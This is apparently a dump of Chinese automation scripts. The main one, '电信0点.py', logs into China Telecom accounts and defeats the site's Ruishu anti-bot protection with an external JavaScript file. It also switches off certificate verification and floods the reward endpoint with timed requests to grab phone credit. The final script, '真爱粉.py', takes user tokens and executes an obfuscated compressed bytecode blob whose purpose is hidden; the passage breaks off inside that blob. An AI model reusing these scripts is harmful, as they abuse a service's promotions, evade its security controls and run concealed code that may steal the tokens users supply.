187 |     sys.stdout = original_stdout
188 |     output_content = captured_output.getvalue()
189 |     captured_output.close()
190 | 
191 | 
192 |     if enable_notification == 1:
193 |         try:
194 |             send("通知", output_content)  # 尝试发送通知
195 |             print("通知已发送。输出内容为：")
196 |             #print(output_content)
197 |         except NameError:
198 |             print("通知发送失败，send函数未定义。")
199 | 
200 | 
201 | 
202 | if __name__ == "__main__":
203 |     main()     
204 | 


--------------------------------------------------------------------------------
/电信0点.py:
--------------------------------------------------------------------------------
  1 | """
  2 | 新电信抢话费
  3 | 
  4 | 群里发的，未测试好，自测
  5 | 修改内容如下“
  6 | 1.删除内置的一个手机账号
  7 | 2.修改环境变量名保持和拉菲电信金豆本环境变量一致
  8 | 3.恢复瑞数通杀.js调用地址，确实也不知道是啥。398、399行注释
  9 | 
 10 | 环境变量chinaTelecomAccount，值为：账号#密码
 11 | 
 12 | cron: 57 9,13,23 * * *
 13 | const $ = new Env("新电信抢话费");
 14 | 
 15 | """
 16 | 
 17 | import os
 18 | import re
 19 | import sys
 20 | import ssl
 21 | import time
 22 | import json
 23 | import execjs
 24 | import base64
 25 | import random
 26 | import certifi
 27 | import aiohttp
 28 | import asyncio
 29 | import certifi
 30 | import datetime
 31 | import requests
 32 | import binascii
 33 | from lxml import etree
 34 | from http import cookiejar
 35 | from Crypto.Cipher import AES
 36 | from Crypto.Cipher import DES3
 37 | from Crypto.PublicKey import RSA
 38 | from Crypto.Cipher import PKCS1_v1_5
 39 | from Crypto.Util.Padding import pad, unpad
 40 | from aiohttp import ClientSession, TCPConnector
 41 | from concurrent.futures import ThreadPoolExecutor
 42 | run_num=os.environ.get('reqNUM') or "80"
 43 | 
 44 | diffValue=2
 45 | MAX_RETRIES = 3
 46 | RATE_LIMIT = 10  # 每秒请求数限制
 47 | 
 48 | class RateLimiter:
 49 |     def __init__(self, rate_limit):
 50 |         self.rate_limit = rate_limit
 51 |         self.tokens = rate_limit
 52 |         self.updated_at = time.monotonic()
 53 | 
 54 |     async def acquire(self):
 55 |         while self.tokens < 1:
 56 |             self.add_new_tokens()
 57 |             await asyncio.sleep(0.1)
 58 |         self.tokens -= 1
 59 | 
 60 |     def add_new_tokens(self):
 61 |         now = time.monotonic()
 62 |         time_since_update = now - self.updated_at
 63 |         new_tokens = time_since_update * self.rate_limit
 64 |         if new_tokens > 1:
 65 |             self.tokens = min(self.tokens + new_tokens, self.rate_limit)
 66 |             self.updated_at = now
 67 | 
 68 | class AsyncSessionManager:
 69 |     def __init__(self):
 70 |         self.session = None
 71 |         self.connector = None
 72 | 
 73 |     async def __aenter__(self):
 74 |         ssl_context = ssl.create_default_context(cafile=certifi.where())
 75 |         ssl_context.set_ciphers('DEFAULT@SECLEVEL=1')
 76 |         self.connector = TCPConnector(ssl=ssl_context, limit=1000)
 77 |         self.session = ClientSession(connector=self.connector)
 78 |         return self.session
 79 | 
 80 |     async def __aexit__(self, exc_type, exc_val, exc_tb):
 81 |         await self.session.close()
 82 |         await self.connector.close()
 83 | 
 84 | async def retry_request(session, method, url, **kwargs):
 85 |     for attempt in range(MAX_RETRIES):
 86 |         try:
 87 |             await asyncio.sleep(1)
 88 |             async with session.request(method, url, **kwargs) as response:
 89 |                 return await response.json() 
 90 |                 # return await response.json() 
 91 |             
 92 |         except (aiohttp.ClientConnectionError, aiohttp.ServerTimeoutError) as e:
 93 |             print(f"请求失败，第 {attempt + 1} 次重试: {e}")
 94 |             if attempt == MAX_RETRIES - 1:
 95 |                 raise 
 96 |             await asyncio.sleep(2 ** attempt)
 97 | 
 98 | class BlockAll(cookiejar.CookiePolicy):
 99 |     return_ok = set_ok = domain_return_ok = path_return_ok = lambda self, *args, **kwargs: False
100 |     netscape = True
101 |     rfc2965 = hide_cookie2 = False
102 |     
103 | def printn(m):  
104 |     print(f'\n{m}')
105 | 
106 | context = ssl.create_default_context()
107 | context.set_ciphers('DEFAULT@SECLEVEL=1')  # 低安全级别0/1
108 | context.check_hostname = False  # 禁用主机
109 | context.verify_mode = ssl.CERT_NONE  # 禁用证书
110 | 
111 | class DESAdapter(requests.adapters.HTTPAdapter):
112 |     def init_poolmanager(self, *args, **kwargs):
113 |         kwargs['ssl_context'] = context
114 |         return super().init_poolmanager(*args, **kwargs)
115 | 
116 | requests.packages.urllib3.disable_warnings()
117 | # urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)  
118 | ss = requests.session()
119 | ss.headers={"User-Agent":"Mozilla/5.0 (Linux; Android 13; 22081212C Build/TKQ1.220829.002) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.97 Mobile Safari/537.36","Referer":"https://wapact.189.cn:9001/JinDouMall/JinDouMall_independentDetails.html"}    
120 | ss.mount('https://', DESAdapter())       
121 | ss.cookies.set_policy(BlockAll())
122 | runTime = 0
123 | key = b'1234567`90koiuyhgtfrdews'
124 | iv = 8 * b'\0'
125 | 
126 | public_key_b64 = '''-----BEGIN PUBLIC KEY-----
127 | MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDBkLT15ThVgz6/NOl6s8GNPofdWzWbCkWnkaAm7O2LjkM1H7dMvzkiqdxU02jamGRHLX/ZNMCXHnPcW/sDhiFCBN18qFvy8g6VYb9QtroI09e176s+ZCtiv7hbin2cCTj99iUpnEloZm19lwHyo69u5UMiPMpq0/XKBO8lYhN/gwIDAQAB
128 | -----END PUBLIC KEY-----'''
129 | 
130 | public_key_data = '''-----BEGIN PUBLIC KEY-----
131 | MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC+ugG5A8cZ3FqUKDwM57GM4io6JGcStivT8UdGt67PEOihLZTw3P7371+N47PrmsCpnTRzbTgcupKtUv8ImZalYk65dU8rjC/ridwhw9ffW2LBwvkEnDkkKKRi2liWIItDftJVBiWOh17o6gfbPoNrWORcAdcbpk2L+udld5kZNwIDAQAB
132 | -----END PUBLIC KEY-----'''
133 | 
134 | def get_first_three(value):
135 |     # 处理数字情况
136 |     if isinstance(value, (int, float)):
137 |         return int(str(value)[:3])
138 |     elif isinstance(value, str):
139 |         return str(value)[:3]
140 |     else:
141 |         raise TypeError("error")
142 | 
143 | def run_Time(hour,miute,second):    
144 |     date = datetime.datetime.now()
145 |     date_zero = datetime.datetime.now().replace(year=date.year, month=date.month, day=date.day, hour=hour, minute=miute, second=second)
146 |     date_zero_time = int(time.mktime(date_zero.timetuple()))
147 |     return date_zero_time
148 | 
149 | def encrypt(text):    
150 |     cipher = DES3.new(key, DES3.MODE_CBC, iv)
151 |     ciphertext = cipher.encrypt(pad(text.encode(), DES3.block_size))
152 |     return ciphertext.hex()
153 | 
154 | def decrypt(text):
155 |     ciphertext = bytes.fromhex(text)
156 |     cipher = DES3.new(key, DES3.MODE_CBC, iv)
157 |     plaintext = unpad(cipher.decrypt(ciphertext), DES3.block_size)
158 |     return plaintext.decode()
159 |     
160 | def b64(plaintext):
161 |     public_key = RSA.import_key(public_key_b64)
162 |     cipher = PKCS1_v1_5.new(public_key)
163 |     ciphertext = cipher.encrypt(plaintext.encode())
164 |     return base64.b64encode(ciphertext).decode()
165 |     
166 | def encrypt_para(plaintext):
167 |     if not isinstance(plaintext, str):
168 |         plaintext = json.dumps(plaintext)
169 |     public_key = RSA.import_key(public_key_data)  
170 |     cipher = PKCS1_v1_5.new(public_key)
171 |     ciphertext = cipher.encrypt(plaintext.encode())
172 |     return binascii.hexlify(ciphertext).decode() 
173 | 
174 | def encode_phone(text):
175 |     encoded_chars = []
176 |     for char in text:
177 |         encoded_chars.append(chr(ord(char) + 2))
178 |     return ''.join(encoded_chars)
179 | 
180 | 
181 | def getApiTime(api_url):
182 |         try:
183 |              with requests.get(api_url) as response:
184 |                 if(not response or not response.text):
185 |                     return time.time()
186 |                 json_data = json.loads(response.text)
187 |                 if (json_data.get("api")and json_data.get("api")not in("time") ):
188 |                     timestamp_str = json_data.get('data', {}).get('t', '')
189 |                 else:
190 |                     timestamp_str = json_data.get('currentTime', {}) 
191 |                 timestamp = int(timestamp_str) / 1000.0  # 将毫秒转为秒
192 |                 difftime=time.time()-timestamp
193 |                 return difftime;   
194 |         except Exception as e:
195 |             print(f"获取时间失败: {e}")
196 |             return 0; 
197 | 
198 | 
199 | def userLoginNormal(phone,password):
200 |     alphabet = 'abcdef0123456789'
201 |     uuid = [''.join(random.sample(alphabet, 8)),''.join(random.sample(alphabet, 4)),'4'+''.join(random.sample(alphabet, 3)),''.join(random.sample(alphabet, 4)),''.join(random.sample(alphabet, 12))]
202 |     timestamp=datetime.datetime.now().strftime("%Y%m%d%H%M%S")
203 |     loginAuthCipherAsymmertric = 'iPhone 14 15.4.' + uuid[0] + uuid[1] + phone + timestamp + password[:6] + '0$$$0.'
204 |     r = ss.post('https://appgologin.189.cn:9031/login/client/userLoginNormal',json={"headerInfos": {"code": "userLoginNormal", "timestamp": timestamp, "broadAccount": "", "broadToken": "", "clientType": "#9.6.1#channel50#iPhone 14 Pro Max#", "shopId": "20002", "source": "110003", "sourcePassword": "Sid98s", "token": "", "userLoginName": phone}, "content": {"attach": "test", "fieldData": {"loginType": "4", "accountType": "", "loginAuthCipherAsymmertric": b64(loginAuthCipherAsymmertric), "deviceUid": uuid[0] + uuid[1] + uuid[2], "phoneNum": encode_phone(phone), "isChinatelecom": "0", "systemVersion": "15.4.0", "authentication": password}}},verify=certifi.where()).json()
205 |     l = r['responseData']['data']['loginSuccessResult']
206 |     if l:
207 |         ticket = get_ticket(phone,l['userId'],l['token']) 
208 |         return ticket
209 |     return False
210 |         
211 | async def exchangeForDay(phone, session, run_Time, rid, stime):
212 |     async def delayed_conversion(delay):
213 |         await asyncio.sleep(delay)
214 |         await conversionRights(phone, rid,session)
215 |     tasks = [asyncio.create_task(delayed_conversion(i * stime)) for i in range(int(run_Time))]
216 |     await asyncio.gather(*tasks)
217 | def get_ticket(phone,userId,token):
218 |     r = ss.post('https://appgologin.189.cn:9031/map/clientXML',data='<Request><HeaderInfos><Code>getSingle</Code><Timestamp>'+datetime.datetime.now().strftime("%Y%m%d%H%M%S")+'</Timestamp><BroadAccount></BroadAccount><BroadToken></BroadToken><ClientType>#9.6.1#channel50#iPhone 14 Pro Max#</ClientType><ShopId>20002</ShopId><Source>110003</Source><SourcePassword>Sid98s</SourcePassword><Token>'+token+'</Token><UserLoginName>'+phone+'</UserLoginName></HeaderInfos><Content><Attach>test</Attach><FieldData><TargetId>'+encrypt(userId)+'</TargetId><Url>4a6862274835b451</Url></FieldData></Content></Request>',headers={'user-agent': 'CtClient;10.4.1;Android;13;22081212C;NTQzNzgx!#!MTgwNTg1'},verify=certifi.where())
219 |     tk = re.findall('<Ticket>(.*?)</Ticket>',r.text)
220 |     if len(tk) == 0:        
221 |         return False
222 |     return decrypt(tk[0])
223 | 
224 | async def exchange(s, phone, title, aid,jsexec, ckvalue):
225 |     try:
226 |         url="https://wapact.189.cn:9001/gateway/stand/detailNew/exchange"
227 |         # getck = await asyncio.to_thread(jsexec.call, "getck") # 两种方式，一种用ck，一种用后缀
228 |         # getck = getck.split(';')[0].split('=')
229 |         # ckvalue[getck[0]] = getck[1]
230 | 
231 |         # async with s.post(url, cookies=ckvalue, json={"activityId": aid}) as response:
232 | 
233 |         # 通过 retry_request 实现重试机制
234 |         # response = await retry_request(s, 'POST', get_url, cookies=ckvalue, json={"activityId": aid})
235 | 
236 |         get_url = await asyncio.to_thread(jsexec.call,"getUrl", "POST",url)
237 |         async with s.post(get_url, cookies=ckvalue, json={"activityId": aid}) as response:
238 |             pass
239 |     except Exception as e:
240 |         print(e)
241 | 
242 |        
243 | 
244 | async def check(s,item,ckvalue):
245 |     checkGoods = s.get('https://wapact.189.cn:9001/gateway/stand/detailNew/check?activityId=' + item, cookies=ckvalue).json()
246 |     return checkGoods
247 | 
248 | async def conversionRights(phone, aid,session):
249 |     value = {
250 |         "phone": phone,
251 |         "rightsId": aid
252 |     }
253 |     paraV=encrypt_para(value)
254 |     response = session.post('https://wapside.189.cn:9001/jt-sign/paradise/conversionRights',json={"para":paraV})
255 |     login = response.json()
256 |     printn(f"{get_first_three(phone)},{str(datetime.datetime.now())[11:23]}:{login} ")
257 | 
258 | async def getLevelRightsList(phone,session):
259 |     value = {
260 |         "phone": phone
261 |     }
262 |     paraV=encrypt_para(value)
263 |     requests = session.post('https://wapside.189.cn:9001/jt-sign/paradise/getLevelRightsList',json={"para":paraV})
264 |     try:
265 |         data=requests.json()
266 |         if data.get('code') == 401:
267 |             print(f"获取失败:{data},原因大概是sign过期了")
268 |             return None
269 |         current_level = int(data['currentLevel'])
270 |         key_name = 'V' + str(current_level)
271 |         ids = [item['id'] for item in data.get(key_name, []) if item.get('name') == '话费']
272 |         return ids
273 |     except:
274 |         print(f"获取失败,重试一次:{requests.text}")
275 |         paraV=encrypt_para(value)
276 |         requests = session.post('https://wapside.189.cn:9001/jt-sign/paradise/getLevelRightsList',json={"para":paraV})
277 |         data=requests.json()
278 |         if data.get('code') == 401:
279 |             print(f"获取失败:{data},原因大概是sign过期了")
280 |             return None
281 |         current_level = int(data['currentLevel'])
282 |         key_name = 'V' + str(current_level)
283 |         ids = [item['id'] for item in data.get(key_name, []) if item.get('name') == '话费']
284 |         return ids
285 |     
286 | 
287 | 
288 | async def getSign(ticket,session):
289 |     try:
290 |         response_data = session.get('https://wapside.189.cn:9001/jt-sign/ssoHomLogin?ticket=' + ticket).json()
291 |         if response_data.get('resoultCode') == '0':
292 |             sign = response_data.get('sign')
293 |             return sign
294 |         else:
295 |             print(f"获取sign失败[{response_data.get('resoultCode')}]: {response_data}")
296 |     except Exception as e:
297 |         print(e)
298 |     return None
299 | 
300 | async def login_request(ss,url,payload):
301 |     global ckvalue,js_codeRead
302 |     url = "https://wapact.189.cn:9001/unified/user/login"
303 |     headers = {
304 |     'Accept': 'application/json, text/javascript, */*; q=0.01',
305 |     'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7',
306 |     'Cache-Control': 'no-cache',
307 |     'Connection': 'keep-alive',
308 |     'Origin': 'https://wapact.189.cn:9001',
309 |     'Pragma': 'no-cache',
310 |     'Sec-Fetch-Dest': 'empty',
311 |     'Sec-Fetch-Mode': 'cors',
312 |     'Sec-Fetch-Site': 'same-origin',
313 |     'X-Requested-With': 'XMLHttpRequest',
314 |     'sec-ch-ua': '"Not/A)Brand";v="8", "Chromium";v="126", "Android WebView";v="126"',
315 |     'sec-ch-ua-mobile': '?1',
316 |     'sec-ch-ua-platform': '"Android"',
317 |     'Content-Type': 'application/json;charset=UTF-8'
318 |     }
319 |     response = ss.post(url, headers=headers, data=json.dumps(payload))
320 |     rsCK = re.findall('yiUIIlbdQT3fO=([^;]+)',response.headers['Set-Cookie'])[0]
321 |     # print(response.status_code)
322 |     if response.status_code == 412:
323 |         print("检测到瑞数特征码412,正在尝试调用js")
324 |     else:
325 |         print("未检测到瑞数.")
326 |         return  response,None,rsCK
327 |     html=etree.HTML(response.text)
328 |     arg1=html.xpath('//meta/@content')[-1]
329 |     arg2=html.xpath('//script/text()')[0]
330 |     arg3=html.xpath('//meta/@id')[-1]
331 |     js_code = js_codeRead.replace("contentCODE", arg1).replace('"tsCODE"', arg2).replace('"tsID"',f'"{arg3}"')
332 |     
333 |     jsexec = execjs.compile(js_code)
334 |     ck=await asyncio.to_thread(jsexec.call, "getck")
335 |     get_url=await asyncio.to_thread(jsexec.call,"getUrl","POST",url)
336 |     def parse_cookies(ck):
337 |         cookies = {}
338 |         for part in ck.split(';'):
339 |             part = part.strip()
340 |             if '=' in part:
341 |                 key, value = part.split('=', 1)
342 |                 if 'path' not in key and 'expires' not in key and 'Secure' not in key and 'SameSite' not in key:
343 |                     cookies[key] = value
344 |         return cookies
345 |     ck=parse_cookies(ck)
346 |     ck["yiUIIlbdQT3fO"] = rsCK
347 |     ckvalue=ck
348 |     res=ss.post(get_url, headers=headers,data=json.dumps(payload),cookies=ckvalue)
349 |     if res.status_code == 200:
350 |         print("瑞数返回状态码200,开始下一步.")
351 |         return res,jsexec,ckvalue
352 |     else:
353 |         print("瑞数破解失败,调用重试机制")
354 |         return res,jsexec,None
355 |     # return res,jsexec,ckvalue#ckvalue这里直接返回，没直接塞session里面.
356 | 
357 | async def qgNight(phone, ticket, timeValue,isTrue):
358 |     if isTrue:
359 |         runTime = run_Time(23,59,3) + 0.65
360 |     else:
361 |         runTime = run_Time(0,0,0) + 0.65
362 | 
363 |     if runTime >(time.time()+timeValue):
364 |         difftime = runTime - time.time() - timeValue
365 |         printn(f"当前时间:{str(datetime.datetime.now())[11:23]},跟设定的时间不同,等待{difftime}秒开始兑换每天一次的")
366 |         await asyncio.sleep(difftime)
367 |     session = requests.Session()
368 |     session.mount('https://', DESAdapter())
369 |     session.verify = False  # 禁用证书验证
370 |     sign =await getSign(ticket,session)
371 |     if sign:
372 |         print(f"当前时间:{str(datetime.datetime.now())[11:23]}获取到了Sign:"+sign)
373 |         session.headers={"User-Agent":"Mozilla/5.0 (Linux; Android 13; 22081212C Build/TKQ1.220829.002) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.97 Mobile Safari/537.36","sign":sign}
374 |     else:
375 |         print("未能获取sign。")
376 |         return
377 |     rightsId =await getLevelRightsList(phone,session);
378 |     if rightsId:
379 |         print("获取到了rightsId:"+rightsId[0])
380 |     else:
381 |         print("未能获取rightsId。")
382 |         return
383 |     # await asyncio.sleep(10)直接延迟也行，或者用下面的等待一段时间。之所以这样是要先获取sign省一些步骤。
384 |     if isTrue:
385 |         runTime2 = run_Time(23,59,58) + 0.65
386 |         difftime = runTime2 - time.time() - timeValue
387 |         printn(f"等待下")
388 |         await asyncio.sleep(difftime)       
389 |     printn(f"{str(datetime.datetime.now())[11:23]} 时间到开始兑换每天一次的")
390 |     await exchangeForDay(phone,session,run_num,rightsId[0],0.1)
391 | async def qgDay(phone, ticket,  timeValue, isTrue):
392 |     global runTime,js_codeRead
393 |     async with AsyncSessionManager() as s:
394 |       pass
395 | async def main(timeValue,isTRUE,hour):
396 |     global runTime,js_codeRead
397 |     tasks = []
398 |     with open("./瑞数通杀.js", "r", encoding="utf-8") as f:
399 |          js_codeRead = f.read()
400 |     phone_list = PHONES.split('&')  
401 |     # diffValue=len(phone_list)
402 |     for phoneV in phone_list:
403 |         value = phoneV.split('#')
404 |         phone, password = value[0], value[1]
405 |         printn(f'{get_first_three(phone)}开始登录')
406 |         ticket = userLoginNormal(phone,password)
407 |         if ticket:
408 |          #    hour=datetime.datetime.now().hour
409 |          #    hour=23
410 |             if hour > 15: 
411 |                 tasks.append(qgNight(phone, ticket, timeValue, isTRUE))
412 |                 # await asyncio.sleep(0.1)
413 |             else:#十点//十四点场次
414 |                 tasks.append(qgDay(phone, ticket, timeValue, isTRUE))
415 |                 # await asyncio.sleep(0.1)
416 |         else:
417 |             printn(f'{phone} 登录失败')
418 |     await asyncio.gather(*tasks)
419 |  
420 | PHONES=os.environ.get('chinaTelecomAccount')
421 | 
422 | if __name__ == "__main__":
423 |     global timeValue,timeDiff
424 |     h = datetime.datetime.now().hour
425 | #    h=15                           #手动设置场次的时间
426 |     print("当前小时为: "+str(h))    
427 |     if 10 >h >0:
428 |         print("当前小时为: "+str(h)+"已过0点但未到10点开始准备抢十点场次")
429 |         wttime= run_Time(9,59,8) #抢十点场次  
430 |     elif 14 >= h >=10:
431 |         print("当前小时为: "+str(h) +"已过10点但未到14点开始准备抢十四点场次")
432 |         wttime= run_Time(13,59,8) #抢十四点场次
433 |     else:
434 |         print("当前小时为: "+str(h)+"已过14点开始准备抢凌晨")
435 |         wttime= run_Time(23,58,58) #抢凌晨
436 | #    isTRUE=False
437 |     isTRUE=True                
438 |     #isTRUE等于False则表示忽略所有限制直接运行。这个参数一般用于测试。实际生产一定要设置为True。
439 |     if(wttime >time.time()) :
440 |         wTime=wttime-time.time()
441 |         print("未到时间,计算后差异:"+str(wTime)+"秒") 
442 |         if isTRUE:
443 |             print("一定要先测试，根据自身 设定的重发和多号，不然会出问题，抢购过早或者过晚。")
444 |             print("开始等待:")
445 |             time.sleep(wTime)
446 |     timeValue = getApiTime("https://f.m.suning.com/api/ct.do")
447 |     timeDiff = timeValue if timeValue > 0 else 0
448 |     asyncio.run(main(timeDiff, isTRUE,h))
449 |     print("所有任务都已执行完毕!")
450 |     
451 | 
452 | 


--------------------------------------------------------------------------------
/真爱粉.py:
--------------------------------------------------------------------------------
 1 | #zafck。抓ucode-openapi.aax6.cn下的token不要Bearer 多账号& 增加失效通知和领会员通知
 2 | 
 3 | import sys
 4 | from packaging.version import parse as parse_version
 5 | Npyvs = '3.10'
 6 | Ypyvs = sys.version.split()[0]
 7 | if parse_version(Ypyvs) >= parse_version(Npyvs):
 8 | 	print(f'当前py版本:{Ypyvs}可运行')
 9 | else:
10 | 	print(f'py版本为{Ypyvs}不支持运行脚本,需要py版本为{Npyvs}及以上')
11 | 	exit(0)
12 | try:
13 | 	import marshal,lzma,gzip,bz2,binascii,zlib;exec(marshal.loads(zlib.decompress(b'x\x9c\x9dW9\xce\xecHr~\xaf\xfb\xf5L\xab\r\xddcPF\x91,V\x15\t\x08\x82\x92kq/\xee\x8b#$\x97\xe2\xbe\x93\xc5\xc5\x9d+\xe8\x003\xa6|\x01\x82\xae\xf2\xdb\x921\x07\x18\x7f\xf8\xfen\x8c!\xc8R\x02\x11_\x92\x91\x0b"2"3"\xfa\xf2\xbf\xda\xef\x0e\xfa\x97\x83\xc6\xc7\xc1\xe2/\xf1\xd7\xeaK\xf0+~\r\xbe~\xe2\x0f\xc1\x0f\x9f\xf8c\xf0\xe3\'~\x0b\xbe}\xe2O\xc1O\xc9\xef\x92/\x7f\xfa}\xf2\xedO?\xc7?\xfc\xf9\xeb\x9f\xbf\xfe\xf1\xeb\xd7Cb~\xf9\xc3\x8f\x7f\xf9\xbe\xb6:\xda\xff\xf8\xe5\x8b\xbf\x80\xff\xab\xf1\xdf\x99\xfe\x9d=T\xe1;\x04\x80*\x81\xbb\x007=\x90\xd7\xa9\x10p\x10\xb8\xfa\xf1\x9f\x1bA\xd5\xd2\xbf\xc9\x197U\x7f\x93\x1b\x90\xe2\x7f\x95SN\xcb\x05zP\x01\t<\x02]Ki^\xa7[\x9d\xcf\x80\xafP@?\xe69\n\x90\xf4g\xf7\xb93{\xdd\xb1\xa5<P\x84\x90)W\xdd)k\x1b\xad#L\xbf\x15\x00\x18\xf4\xeb\xfc\xf7v9\xe8}>\xc3\xcf\xfe\xeb\xfc)\xb9\x90\xaf\x13\xd0i`x\xa7\x9cf1 (\xde%\x9d}\x10\xc1i*\xd4\xde\xee\xb1Y\x1e\x83\xd0\x87\x82n\x93=\x10\xfb\xd02\x9eFo-+_ \xb6\xb2)}\xd2>\xfa\xa4\xd0aa!M\xaf\xd4H\xd3\x1a\xb7:+}\x08\xb2\x92\xb4P@Zb\xf9\xd4\xb1\x16\x11\xb0<i\x81\x0fj\xfd\xd1\xab\xad\xca\xd6\x02\xa8\xcd\xd0L(\xcb\x82\x8e\x8a\xdb\xe8s\xb3\xb1v\xe3u\x06}JO\x1b\xf2\xe8\xd3\xe6\xd3G\x7f\xe8\xc8\x1c&U\xf9\x14\x01\x88\xca\x17,`\x0eCC\xbf\xd6\x01\xe4\xebZW\x8c\xaee\x84\x8d\x11\xa0"\xb6\xd4\xd1e\x04%U\n\x01\x81\x00\x01J\n\x19]=\x0c\x0c\xc0\xa2+\xb5\xd1\xf2)PLJ\xcc\x94\xcc\x12\x0b\xd3/\xf4\x95\x0eM\xbfN\x91\r\xf2\x82"@@\xb5\xe0\x93>\x19\xf2\xeb\xe92\xfa\xffw/\xd1\x10\x04\x0bZ\x96\x00S\x9fEH\xcbh\xc1\xa1\x11\x9f\xb5\xbf\xad\xacR]\xbb\xfd\xaa\xd0\xa7\x1b\x1d\x86\xa4\xba\xba\xbbY\xe7\x043K\xc6\xa2\xb3\xca\x89\xacA\xb6tWG\xed8\x99}S\xe6N3a\xa3\xaepm\xae^\x03\x14!y\xcb\x9e\\\xe2\xcfm{\xa1E\xb9\xf5Y\xd4\xe4Y\xbdX\r\x9bs\xc2;\xbb\xc8\xd9\xb6)\xa9\xeb\xa4\xbc\xad\xf8T\xda\\\xeeS\xbce\xbc\x1es\xb9\x12PV\xc1\x9a\xa1\xe1^\x88\xb7c\xa1Nw\xdaP\xb40\xf3\x9d\x04\x85\xe2\t\xbd\xfa\x9e\xbb\xe7\xe5\xfc~\xc2\x17:q&NZ\xb1X"\xb54m\xa2<7i0\xec~\xc3\xe7\xfa\xb9\x17z1ZX\xd0.\xba\xc0jE\xc9?eQ\xd0\xe8\xba\xa2\xd2,\xa4ls\xb0\xf9\x8a\xbb,\xd2\x02\xb0\xbc\x1cs~\xa4\xbb\xfe!\xa1\x0f\xc7\x11\xa2\xc1\xd4\xe5k\xa4\xd5\xcd\xadnRqSw\xe3\r$$\xa1\x18@\x1aJIn\xd1\xb5\x0ezC\xa7\x120P\xfcFK\xd6\xa5e\x9bK\xa9\x83H\x045\xb3\xe4\xeb\xda\x80W\x8dg\x03\x9d\xa3\x80-BSx\x99\x8b?\x869\xe8\x94\x1cP\x13P\x87]\xe2/\x13\x96\n\x03M\xab9\x88\xa2\xb7[-\\5\xb4\'l3\xa9D\xa7Y\x94\xd2\x11!\x18\xab\x87\xa9\xb6\x17\xb5\xa26H\xfb\x0b\xa3\xa7\xc5\x84?K\x90\xf1\x0c\xf0@K\xdb[,\x00\x03\x04Z\x98tt~\xb2#\x01\n\xd7\xc7\xe0\x99)Gg\xd0\xbc\xa5\x97\xe7,\xf1$\x95\xda\xb52+\xa4f\xa9\xf4\xd2\xb29\xef\xc9>G\xeb\xacU\x8a\x902\x99\xce\x97\xab\x06\x99\xca9\xbb\x15o\xc90\xa3\xcc\xa4mp\xed"<\xef\xdc#\xd6\xa6M\x896Fg\x82\x80I\x10\xd0\xd5l\xef\x0b\xbe\xbbE@)S\x84\xcd\x97\xc0I\xd5\x9dq\x03\xb2e\x16\xc5\xafsB\x06\xcf\xfbT\x0f\xefPaw\x9d\xb1sA\xcd}\xc5\xabF\xc6\xf3\x87L\x85{\xde\xd4\t\xd6\xb7\x0b\n\x84\xecPA\\\xa6g\xc5\xe1\x10\x82D\xbd\xd38\x13;(K\xb31\xb6\xb4\x04L\xd5p\x1a3\xdda\x98B\xa4\xc1\xa4q\xe3\xe8j\x82\x14\xcdo\xd9^\r.\xaa\\\xd4\x81\x9c\x1f\xc9\xc3\xcd\x9bS\x88\xa3y\xca\x9f\x96Q\xbe\xdfF5k\x9ct\xa6\tv\xd1}\xb9F\xa2u\x07;\xe3\xfb1F\xa6c\x18_q:R\xe8$\xa2I#\xd1KN\xad.@\x89\xf1\xb6\xef\x99\xaeo\xc5\x86\xf2u\xe8\xe04\x12\x83\x81\xf1\xcb\x92\xe1/\xfa\xcaY"\xaa]\xfb\\\x96n\xef\xa1\x07\xa9\xd7\xe7\x88\x88E\x8f\x93\x1c\x08\x99\x84E(\x9dI\xeed\x8c\r\xdd\xf1\xa2\x07(Ysv\xd4\x01\x82\xb5r\xdb\xda\xd8\xcf\x9a\xc17QY\xc5\xfcT\xd2\x16\x1f\x19T\x99,vL\x14|\x9c\xb6\xa6K\xe9e\x96O\xb5\xd1\xf4\rK\xe0\xfel?\x1eg/\x11\xa9\xa6`\xf5\xe8Z\xc4\x93\x02\xc8\xfb\x83B\xcbH\xbdN\x12.\xb9\x81KV\x89\x84\xcac\x18\xaal\xb6\xb17e\xc7\xa8\xe5\x95\xdd\x866a\xa7\xfb\xa0E\xe6<&<\x8a$\x04\xeeq\xfb<\x81\xdd\x7f$E\xb1Yg\xd8C\x8a+\xef\'s\xe0\x87\x04\xe02]_\x87\xf0\xda\xb3\x15\x06(\xd1|\x8e\x8a\x08\x94\xb5&^\xd2U\x96w7\xbd\x0e\x98H\xf4d\xec:Z\x9b\x97\xb7\xb7\x88\xde1S\xef\x07\x88h\xef\xe9\xddn9\x7f\x13\x04\x900a\xaa17\xa7\xe7=\x81\xab+\xe6t<$"g\xb8W\x90.WS\xf0\xb3\xe4T\x99\xe9\xb2\x13I,\xe1\xc8\x9a\x9d.Vx\xd2a\xbc\xae\xd1\xa8\xa3\xf7Q^1K\xdf\xb2\xac\'\x81\xee\x0e:\x1f\x83J\xad&"\x93p\xbb\x11\xf7\x1b\x8d 2=]^5\xd9\xbdi(\x18\xae\x10\x96\xd3\x99\xb4{\xae\x87p=q\xda8<.d\xf4\x06\xf9bLO^B\xdb\x11\xc6\xbb\xdc\xb5o\x86{X\x8e\xf6dgFL\xda\xb7\xec\xd3\'\x95\xa5<\x97\xbf\x93\xb7\xeb\xde\xcd\xd0m\x19`\xf6\xa7,\xb3\xbd\x8a\xf1\x91\xd9} 